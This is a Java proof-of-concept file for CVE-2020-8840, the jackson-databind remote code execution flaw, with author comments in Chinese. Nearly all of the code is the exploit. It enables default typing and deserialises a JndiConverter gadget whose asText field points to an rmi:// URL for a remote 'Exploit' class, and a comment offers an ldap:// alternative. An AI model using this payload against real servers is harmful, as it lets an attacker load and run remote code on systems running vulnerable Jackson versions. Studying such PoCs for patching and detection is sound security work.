package summer.jackson;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.JsonMappingException;
import com.fasterxml.jackson.databind.ObjectMapper;

/**
 * @ClassName: fastjsonpoc
 * @Description: TODO
 * @Author: Samny
 * @Date: 2020/4/23 18:57
 * @Version: v1.0.0
 * @Description: CVE-2020-8840 FasterXML/jackson-databind 远程代码执行漏洞
 **/
public class jacksonpoc8840 {
    public static void main(String[] args) {
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\"," +
                "{\"asText\":\"rmi://localhost:1090/Exploit\"}]";
//                "{\"asText\":\"ldap://localhost:1099/Exploit\"}]"; 可以切换成这个
        try {
            mapper.readValue(json,Object.class);
        } catch (JsonMappingException e) {
            e.printStackTrace();
        } catch (JsonProcessingException e) {
            e.printStackTrace();
        }


    }
}
